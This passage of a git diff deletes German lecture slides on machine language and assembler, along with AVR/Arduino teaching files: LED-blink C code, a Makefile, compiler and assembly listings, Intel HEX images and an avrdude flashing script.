-\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{4.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \color{medgreen} - \item[2.6] Computer-Sprachen - \color{orange} - \item[2.7] Programmieren in Assembler - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{5} -\subsection{Computer-Sprachen} -\subsubsection{Maschinensprache} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \strut\hfill - \begin{minipage}{6.5cm} - \vspace*{-1.7cm} - \small - Computer - \begin{itemize}\itemsep0pt - \item Rechenwerk (ALU) - \item Speicher: Register,\\ - adressierbarer Hauptspeicher - \item Takt: Befehle abarbeiten - \item Peripherie: Kommunikation\\ - mit der Außenwelt - \arrowitem in Maschinensprache programmierbar - \end{itemize} - \end{minipage}\hspace*{-0.5cm} - - In jedem Takt: - \begin{itemize} - \item - dort aus dem Hauptspeicher lesen, wohin das Register \lstinline{IP} zeigt\\ - \textarrow\ \newterm{Befehl\/} (\newterm{Instruction\/} -- \lstinline{IP} = \newterm{Instruction Pointer\/}) - \item - den \newterm{Befehl\/} an den \newterm{Funktion\/}-Eingang der \newterm{ALU\/} legen - \item - auf ähnliche Weise weitere Daten an den \newterm{Akkumulator\/}-\\ - und den \newterm{Daten\/}-Eingang der \newterm{ALU\/} legen - \item - auf ähnliche Weise den \newterm{Ergebnis\/}-Ausgang der \newterm{ALU}\\ - in den Hauptspeicher schreiben - \textarrow\ Befehl ausgeführt - \item - Register \lstinline{IP} hochzählen - \textarrow\ nächster Befehl - \arrowitem - Maschinensprache - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \begin{itemize} - \item - Daten aus dem Speicher in Register einlesen - \item - Daten aus Register in den Speicher schreiben - \arrowitem - Lade- und Speicher-Befehle - \item - Daten aus Registern (oder Speicher) an ALU legen,\\ - Ergebnis in Register (oder Speicher) schreiben - \arrowitem - arithmetische Befehle -% \pause - \item - Daten aus Register oder Speicher in das \lstinline{IP}-Register laden - \arrowitem - \only<1->{unbedingter }Sprungbefehl -% \pause - \item - Sprungbefehl nur dann, wenn im Status-Ausgang der ALU ein bestimmtes Bit gesetzt ist - \arrowitem - bedingter Sprungbefehl -% \pause -% \pause - \bigskip - \arrowitem - Der Computer kann "`alles"' -- \newterm{Turing-Vollständigkeit} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \begin{itemize} - \item - Lade- und Speicher-Befehle\\ - arithmetische Befehle\\ - unbedingte und bedingte Sprungbefehle - \arrowitem - Der Computer kann "`alles"' -- \newterm{Turing-Vollständigkeit} - \bigskip - \item - Maschinensprache = Zahlen \textarrow\ für Menschen schwer handhabbar - \arrowitem - Namen für die Befehle: \newterm{Mnemonics} - \arrowitem - \newterm{Assembler\/}-Sprache - \end{itemize} - -\end{frame} - -\subsubsection{\strut{\protect\color{gray}Maschinensprache \protect\textarrow\ }Assembler} - -\begin{frame}[fragile] - - \showsubsubsection - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - \bigskip - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - \bigskip - - \textarrow\ für jeden Prozessor anders - -\end{frame} - -\subsubsection{\strut{\protect\color{gray}Maschinensprache \protect\textarrow\ Assembler \protect\textarrow\ }Hochsprachen} - -\begin{frame}[fragile] - - \showsubsubsection - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - \bigskip - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - \bigskip - - \textarrow\ für jeden Prozessor anders - - \bigskip - - Hochsprache \textarrow\ für jeden Prozessor gleich - -\end{frame} - -\begin{frame}[fragile] - - \showsubsubsection - - Compiler-Sprachen - \begin{itemize}\itemsep0pt - \item - \newterm{Compiler\/} übersetzt Hochsprachen-\newterm{Quelltext\/} in die Assembler-Sprache - \item - \newterm{Assembler\/} übersetzt Assembler-Quelltext in die Maschinensprache - \item - Compiler und Assembler sind Programme,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache - \item - Beispiele: Fortran, Algol, Pascal, Ada, C, C++, \dots - \end{itemize} - -% \pause - \medskip - Interpreter- oder Skript-Sprachen - \begin{itemize}\itemsep0pt - \item - \newterm{Interpreter\/} liest Hochsprachen-\newterm{Quelltext\/} und führt ihn sofort aus - \item - Der Interpreter ist ein Programm,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache - \item - Beispiele: Unix-Shell, BASIC, Perl, Python, \dots - \end{itemize} - -% \pause - \medskip - Kombinationen - \begin{itemize}\itemsep0pt - \item - \newterm{Compiler\/} erzeugt \newterm{Zwischencode\/} für eine \newterm{virtuelle Maschine} - \item - \newterm{Interpreter\/} liest Hochsprachen-\newterm{Zwischencode\/} und führt ihn sofort aus - \item - Die virtuelle Maschine ist ein Programm, - geschrieben in Maschinensprache, Assembler, einer Hoch- oder Skript-Sprache - \item - Beispiele: UCSD-Pascal, Java, \dots - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\subsection{Programmieren in Assembler} - -\begin{frame} - - \showsubsection - - Beispiel: PC, 1980er bis 1990er Jahre - \begin{itemize} - \item - Prozessor: Intel 8086 - \item - Takt: 4,77--100\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Text- und Grafikausgabe - - \begin{onlyenv}<1> - \begin{center} - \vspace*{-0.15cm} - \includegraphics[width=9.8cm,trim={0cm 0cm 0cm 0.8cm},clip]{hello-world-maschinensprache.png} - \vspace*{-10cm} - \end{center} - \end{onlyenv} - - \pause - \bigskip - - Beispiel: Arduino Uno - \begin{itemize} - \item - Prozessor: ATmega 328p - \item - Takt: 16\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Mikrosekunden-Timing - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{orange} - \item[2.7] Programmieren in Assembler - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210511/Makefile b/20210511/Makefile deleted file mode 100644 index d080ca3fa6821afe1e4075dea4f6463eda663f02..0000000000000000000000000000000000000000 --- a/20210511/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -%.s: %.c - avr-gcc -Wall -Os -mmcu=atmega328p $< -S -o $@ - -%.elf: %.c - avr-gcc -Wall -Os -mmcu=atmega328p $< -o $@ - -%.hex: %.elf - avr-objcopy -O ihex $< $@ - -download: - ./download.sh diff --git a/20210511/blink-0.E b/20210511/blink-0.E deleted file mode 100644 index f5f51be85c1055d5ff41b2dfa322120bbb933d55..0000000000000000000000000000000000000000 --- a/20210511/blink-0.E +++ /dev/null @@ -1,183 +0,0 @@ -# 1 "blink-0.c" -# 1 "<built-in>" -# 1 "<command-line>" -# 1 "blink-0.c" -# 1 "/usr/lib/avr/include/avr/io.h" 1 3 -# 99 "/usr/lib/avr/include/avr/io.h" 3 -# 1 "/usr/lib/avr/include/avr/sfr_defs.h" 1 3 -# 126 "/usr/lib/avr/include/avr/sfr_defs.h" 3 -# 1 "/usr/lib/avr/include/inttypes.h" 1 3 -# 37 "/usr/lib/avr/include/inttypes.h" 3 -# 1 "/usr/lib/gcc/avr/5.4.0/include/stdint.h" 1 3 4 -# 9 "/usr/lib/gcc/avr/5.4.0/include/stdint.h" 3 4 -# 1 "/usr/lib/avr/include/stdint.h" 1 3 4 -# 125 "/usr/lib/avr/include/stdint.h" 3 4 - -# 125 "/usr/lib/avr/include/stdint.h" 3 4 -typedef signed int int8_t __attribute__((__mode__(__QI__))); -typedef unsigned int uint8_t __attribute__((__mode__(__QI__))); -typedef signed int int16_t __attribute__ ((__mode__ (__HI__))); -typedef unsigned int uint16_t __attribute__ ((__mode__ (__HI__))); -typedef signed int int32_t __attribute__ ((__mode__ (__SI__))); -typedef unsigned int uint32_t __attribute__ ((__mode__ (__SI__))); - -typedef signed int int64_t __attribute__((__mode__(__DI__))); -typedef unsigned int uint64_t __attribute__((__mode__(__DI__))); -# 146 "/usr/lib/avr/include/stdint.h" 3 4 -typedef int16_t intptr_t; - - - - -typedef uint16_t uintptr_t; -# 163 "/usr/lib/avr/include/stdint.h" 3 4 -typedef int8_t int_least8_t; - - - - -typedef uint8_t uint_least8_t; - - - - -typedef int16_t int_least16_t; - - - - -typedef uint16_t uint_least16_t; - - - - -typedef int32_t int_least32_t; - - - - -typedef uint32_t uint_least32_t; - - - - - - - -typedef int64_t int_least64_t; - - - - - - -typedef uint64_t uint_least64_t; -# 217 "/usr/lib/avr/include/stdint.h" 3 4 -typedef int8_t int_fast8_t; - - - - -typedef uint8_t uint_fast8_t; - - - - -typedef int16_t int_fast16_t; - - - - -typedef uint16_t uint_fast16_t; - - - - -typedef int32_t int_fast32_t; - - - - -typedef uint32_t uint_fast32_t; - - - - - - - -typedef int64_t int_fast64_t; - - - - - - -typedef uint64_t uint_fast64_t; -# 277 "/usr/lib/avr/include/stdint.h" 3 4 -typedef int64_t intmax_t; - - - - -typedef uint64_t uintmax_t; -# 10 "/usr/lib/gcc/avr/5.4.0/include/stdint.h" 2 3 4 -# 38 "/usr/lib/avr/include/inttypes.h" 2 3 -# 77 "/usr/lib/avr/include/inttypes.h" 3 -typedef int32_t int_farptr_t; - - - -typedef uint32_t uint_farptr_t; -# 127 "/usr/lib/avr/include/avr/sfr_defs.h" 2 3 -# 100 "/usr/lib/avr/include/avr/io.h" 2 3 -# 272 "/usr/lib/avr/include/avr/io.h" 3 -# 1 "/usr/lib/avr/include/avr/iom328p.h" 1 3 -# 273 "/usr/lib/avr/include/avr/io.h" 2 3 -# 627 "/usr/lib/avr/include/avr/io.h" 3 -# 1 "/usr/lib/avr/include/avr/portpins.h" 1 3 -# 628 "/usr/lib/avr/include/avr/io.h" 2 3 - -# 1 "/usr/lib/avr/include/avr/common.h" 1 3 -# 630 "/usr/lib/avr/include/avr/io.h" 2 3 - -# 1 "/usr/lib/avr/include/avr/version.h" 1 3 -# 632 "/usr/lib/avr/include/avr/io.h" 2 3 - - - - - - -# 1 "/usr/lib/avr/include/avr/fuse.h" 1 3 -# 239 "/usr/lib/avr/include/avr/fuse.h" 3 -typedef struct -{ - unsigned char low; - unsigned char high; - unsigned char extended; -} __fuse_t; -# 639 "/usr/lib/avr/include/avr/io.h" 2 3 - - -# 1 "/usr/lib/avr/include/avr/lock.h" 1 3 -# 642 "/usr/lib/avr/include/avr/io.h" 2 3 -# 2 "blink-0.c" 2 - - -# 3 "blink-0.c" -int main (void) -{ - -# 5 "blink-0.c" 3 - (*(volatile uint8_t *)((0x0A) + 0x20)) -# 5 "blink-0.c" - = 0x7c; - -# 6 "blink-0.c" 3 - (*(volatile uint8_t *)((0x0B) + 0x20)) -# 6 "blink-0.c" - = 0x40; - while (1); - return 0; -} diff --git a/20210511/blink-0.c b/20210511/blink-0.c deleted file mode 100644 index e477a88f50d4aa8b5ce4b60a039a83f347ff2bc0..0000000000000000000000000000000000000000 --- a/20210511/blink-0.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - DDRD = 0x7c; /* binär: 0111 1100 */ /* DDR = Data Direction Register */ - PORTD = 0x40; /* binär: 0100 0000 */ /* 0 = input, 1 = output */ - while (1) - /* just wait */; /* Endlosschleife */ - return 0; -} diff --git a/20210511/blink-0.hex b/20210511/blink-0.hex deleted file mode 100644 index 4a3ecbb32f186d6c742777b223473148e1cef0a4..0000000000000000000000000000000000000000 --- a/20210511/blink-0.hex +++ /dev/null @@ -1,10 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9445000C940000F0 -:0E0080008CE78AB980E48BB9FFCFF894FFCFEC -:00000001FF diff --git a/20210511/blink-0s.hex b/20210511/blink-0s.hex deleted file mode 100644 index 6806fe6d446b843666da2468d8ab89bd354551a0..0000000000000000000000000000000000000000 --- a/20210511/blink-0s.hex +++ /dev/null @@ -1,10 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9445000C940000F0 -:0E0080008CE78AB980E08BB9FFCFF894FFCFF0 -:00000001FF diff --git a/20210511/blink-0s.s b/20210511/blink-0s.s deleted file mode 100644 index 68816d74ac0abed2e71f367f3108cef22175b402..0000000000000000000000000000000000000000 --- a/20210511/blink-0s.s +++ /dev/null @@ -1,9 +0,0 @@ - .section .text.startup,"ax",@progbits -.global main -main: - ldi r24,0x7c - out 0xa,r24 - ldi r24,0x00 - out 0xb,r24 -.L2: - rjmp .L2 diff --git a/20210511/blink-1.s0 b/20210511/blink-1.s0 deleted file mode 100644 index 419c0b4f4b267dbc1d076db028ed82b40658baa3..0000000000000000000000000000000000000000 --- a/20210511/blink-1.s0 +++ /dev/null @@ -1,308 +0,0 @@ - .file "blink-1.c" -__SP_H__ = 0x3e -__SP_L__ = 0x3d -__SREG__ = 0x3f -__tmp_reg__ = 0 -__zero_reg__ = 1 -.global __mulsf3 -.global __ltsf2 -.global __gtsf2 -.global __fixunssfsi - .text -.global main - .type main, @function -main: - push r28 - push r29 - in r28,__SP_L__ - in r29,__SP_H__ - sbiw r28,28 - in __tmp_reg__,__SREG__ - cli - out __SP_H__,r29 - out __SREG__,__tmp_reg__ - out __SP_L__,r28 -/* prologue: function */ -/* frame size = 28 */ -/* stack size = 30 */ -.L__stack_usage = 30 - ldi r24,lo8(42) - ldi r25,0 - ldi r18,lo8(124) - movw r30,r24 - st Z,r18 - ldi r24,lo8(43) - ldi r25,0 - ldi r18,lo8(43) - ldi r19,0 - movw r30,r18 - ld r18,Z - ori r18,lo8(64) - movw r30,r24 - st Z,r18 -.L18: - ldi r24,0 - ldi r25,0 - ldi r26,lo8(-6) - ldi r27,lo8(67) - std Y+1,r24 - std Y+2,r25 - std Y+3,r26 - std Y+4,r27 - ldi r18,0 - ldi r19,0 - ldi r20,lo8(122) - ldi r21,lo8(69) - ldd r22,Y+1 - ldd r23,Y+2 - ldd r24,Y+3 - ldd r25,Y+4 - call __mulsf3 - movw r26,r24 - movw r24,r22 - std Y+19,r24 - std Y+20,r25 - std Y+21,r26 - std Y+22,r27 - ldi r18,0 - ldi r19,0 - ldi r20,lo8(-128) - ldi r21,lo8(63) - ldd r22,Y+19 - ldd r23,Y+20 - ldd r24,Y+21 - ldd r25,Y+22 - call __ltsf2 - tst r24 - brge .L23 - ldi r24,lo8(1) - ldi r25,0 - std Y+24,r25 - std Y+23,r24 - rjmp .L4 -.L23: - ldi r18,0 - ldi r19,lo8(-1) - ldi r20,lo8(127) - ldi r21,lo8(71) - ldd r22,Y+19 - ldd r23,Y+20 - ldd r24,Y+21 - ldd r25,Y+22 - call __gtsf2 - cp __zero_reg__,r24 - brge .L24 - ldi r18,0 - ldi r19,0 - ldi r20,lo8(32) - ldi r21,lo8(65) - ldd r22,Y+1 - ldd r23,Y+2 - ldd r24,Y+3 - ldd r25,Y+4 - call __mulsf3 - movw r26,r24 - movw r24,r22 - movw r22,r24 - movw r24,r26 - call __fixunssfsi - movw r26,r24 - movw r24,r22 - std Y+24,r25 - std Y+23,r24 - rjmp .L7 -.L8: - ldi r24,lo8(-112) - ldi r25,lo8(1) - std Y+26,r25 - std Y+25,r24 - ldd r24,Y+25 - ldd r25,Y+26 -/* #APP */ - ; 105 "/usr/lib/avr/include/util/delay_basic.h" 1 - 1: sbiw r24,1 - brne 1b - ; 0 "" 2 -/* #NOAPP */ - std Y+26,r25 - std Y+25,r24 - ldd r24,Y+23 - ldd r25,Y+24 - sbiw r24,1 - std Y+24,r25 - std Y+23,r24 -.L7: - ldd r24,Y+23 - ldd r25,Y+24 - or r24,r25 - brne .L8 - rjmp .L9 -.L24: - ldd r22,Y+19 - ldd r23,Y+20 - ldd r24,Y+21 - ldd r25,Y+22 - call __fixunssfsi - movw r26,r24 - movw r24,r22 - std Y+24,r25 - std Y+23,r24 -.L4: - ldd r24,Y+23 - ldd r25,Y+24 - std Y+28,r25 - std Y+27,r24 - ldd r24,Y+27 - ldd r25,Y+28 -/* #APP */ - ; 105 "/usr/lib/avr/include/util/delay_basic.h" 1 - 1: sbiw r24,1 - brne 1b - ; 0 "" 2 -/* #NOAPP */ - std Y+28,r25 - std Y+27,r24 -.L9: - ldi r24,lo8(43) - ldi r25,0 - ldi r18,lo8(43) - ldi r19,0 - movw r30,r18 - ld r18,Z - andi r18,lo8(-65) - movw r30,r24 - st Z,r18 - ldi r24,0 - ldi r25,0 - ldi r26,lo8(-6) - ldi r27,lo8(67) - std Y+5,r24 - std Y+6,r25 - std Y+7,r26 - std Y+8,r27 - ldi r18,0 - ldi r19,0 - ldi r20,lo8(122) - ldi r21,lo8(69) - ldd r22,Y+5 - ldd r23,Y+6 - ldd r24,Y+7 - ldd r25,Y+8 - call __mulsf3 - movw r26,r24 - movw r24,r22 - std Y+9,r24 - std Y+10,r25 - std Y+11,r26 - std Y+12,r27 - ldi r18,0 - ldi r19,0 - ldi r20,lo8(-128) - ldi r21,lo8(63) - ldd r22,Y+9 - ldd r23,Y+10 - ldd r24,Y+11 - ldd r25,Y+12 - call __ltsf2 - tst r24 - brge .L25 - ldi r24,lo8(1) - ldi r25,0 - std Y+14,r25 - std Y+13,r24 - rjmp .L12 -.L25: - ldi r18,0 - ldi r19,lo8(-1) - ldi r20,lo8(127) - ldi r21,lo8(71) - ldd r22,Y+9 - ldd r23,Y+10 - ldd r24,Y+11 - ldd r25,Y+12 - call __gtsf2 - cp __zero_reg__,r24 - brge .L26 - ldi r18,0 - ldi r19,0 - ldi r20,lo8(32) - ldi r21,lo8(65) - ldd r22,Y+5 - ldd r23,Y+6 - ldd r24,Y+7 - ldd r25,Y+8 - call __mulsf3 - movw r26,r24 - movw r24,r22 - movw r22,r24 - movw r24,r26 - call __fixunssfsi - movw r26,r24 - movw r24,r22 - std Y+14,r25 - std Y+13,r24 - rjmp .L15 -.L16: - ldi r24,lo8(-112) - ldi r25,lo8(1) - std Y+16,r25 - std Y+15,r24 - ldd r24,Y+15 - ldd r25,Y+16 -/* #APP */ - ; 105 "/usr/lib/avr/include/util/delay_basic.h" 1 - 1: sbiw r24,1 - brne 1b - ; 0 "" 2 -/* #NOAPP */ - std Y+16,r25 - std Y+15,r24 - ldd r24,Y+13 - ldd r25,Y+14 - sbiw r24,1 - std Y+14,r25 - std Y+13,r24 -.L15: - ldd r24,Y+13 - ldd r25,Y+14 - or r24,r25 - brne .L16 - rjmp .L17 -.L26: - ldd r22,Y+9 - ldd r23,Y+10 - ldd r24,Y+11 - ldd r25,Y+12 - call __fixunssfsi - movw r26,r24 - movw r24,r22 - std Y+14,r25 - std Y+13,r24 -.L12: - ldd r24,Y+13 - ldd r25,Y+14 - std Y+18,r25 - std Y+17,r24 - ldd r24,Y+17 - ldd r25,Y+18 -/* #APP */ - ; 105 "/usr/lib/avr/include/util/delay_basic.h" 1 - 1: sbiw r24,1 - brne 1b - ; 0 "" 2 -/* #NOAPP */ - std Y+18,r25 - std Y+17,r24 -.L17: - ldi r24,lo8(43) - ldi r25,0 - ldi r18,lo8(43) - ldi r19,0 - movw r30,r18 - ld r18,Z - ori r18,lo8(64) - movw r30,r24 - st Z,r18 - rjmp .L18 - .size main, .-main - .ident "GCC: (GNU) 5.4.0" diff --git a/20210511/blink-1s.hex b/20210511/blink-1s.hex deleted file mode 100644 index 39c68bec0798edbc7a35af189a5b96816c658340..0000000000000000000000000000000000000000 --- a/20210511/blink-1s.hex +++ /dev/null @@ -1,12 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9453000C940000E2 -:100080008CE78AB95E9A2FEF89E698E1215080408B -:100090009040E1F75E982FEF89E698E1215080408B -:0A00A0009040E1F7EFCFF894FFCF96 -:00000001FF diff --git a/20210511/blink-1s.s b/20210511/blink-1s.s deleted file mode 100644 index 8bb08c9689cc20318eec80ad0d6d89f77af23746..0000000000000000000000000000000000000000 --- a/20210511/blink-1s.s +++ /dev/null @@ -1,23 +0,0 @@ - .section .text.startup -.global main -main: - ldi r24,0x7c - out 0xa,r24 ; DDRD = 0x7c: verwende die 1-Bits in 0x7c als Ouputs -loop: - sbi 0xb,6 ; setze Bit 6 auf PORTD ("set bit"), schalte LED ein - ldi r18,lo8(1599999) - ldi r24,hi8(1599999) - ldi r25,hlo8(1599999) -wait1: subi r18,1 - sbci r24,0 - sbci r25,0 - brne wait1 - cbi 0xb,6 ; lösche Bit 6 auf PORTD ("clear bit"), schalte LED aus - ldi r18,lo8(1599999) - ldi r24,hi8(1599999) - ldi r25,hlo8(1599999) -wait2: subi r18,1 - sbci r24,0 - sbci r25,0 - brne wait2 - rjmp loop diff --git a/20210511/download.sh b/20210511/download.sh deleted file mode 100755 index 770c3b5dca74ac09778be055c9d6f5adb0df293b..0000000000000000000000000000000000000000 --- a/20210511/download.sh +++ /dev/null @@ -1,3 +0,0 @@ -port=$(ls -rt /dev/ttyACM* | tail -1) -echo avrdude -P $port -c arduino -p m328p -U flash:w:$(ls -rt *.hex | tail -1) -avrdude -P $port -c arduino -p m328p -U flash:w:$(ls -rt *.hex | tail -1) 2>/dev/null diff --git a/20210511/hello-world-maschinensprache.png b/20210511/hello-world-maschinensprache.png deleted file mode 120000 index a5b14fe44b350c69b8d59d2c59f7c923f4631825..0000000000000000000000000000000000000000 --- a/20210511/hello-world-maschinensprache.png +++ /dev/null @@ -1 +0,0 @@ -../20210503/screenshot-20210503-181001.png \ No newline at end of file diff --git a/20210511/logo-hochschule-bochum-cvh-text-v2.pdf b/20210511/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210511/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210511/logo-hochschule-bochum.pdf b/20210511/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210511/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210511/pgslides.sty b/20210511/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210511/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210511/rtech-20210511.pdf b/20210511/rtech-20210511.pdf deleted file mode 100644 index 2f3ff3e194344c2e7d13709f8587b36d2278e013..0000000000000000000000000000000000000000 Binary files a/20210511/rtech-20210511.pdf and /dev/null differ diff --git a/20210511/rtech-20210511.tex b/20210511/rtech-20210511.tex deleted file mode 100644 index ae79bba896a094a0ce124e83355e229c4726c9a1..0000000000000000000000000000000000000000 --- a/20210511/rtech-20210511.tex +++ /dev/null @@ -1,493 +0,0 @@ -% rtech-20210511.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Programmieren in Assembler: Arduino - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{pdftricks} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} -\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - 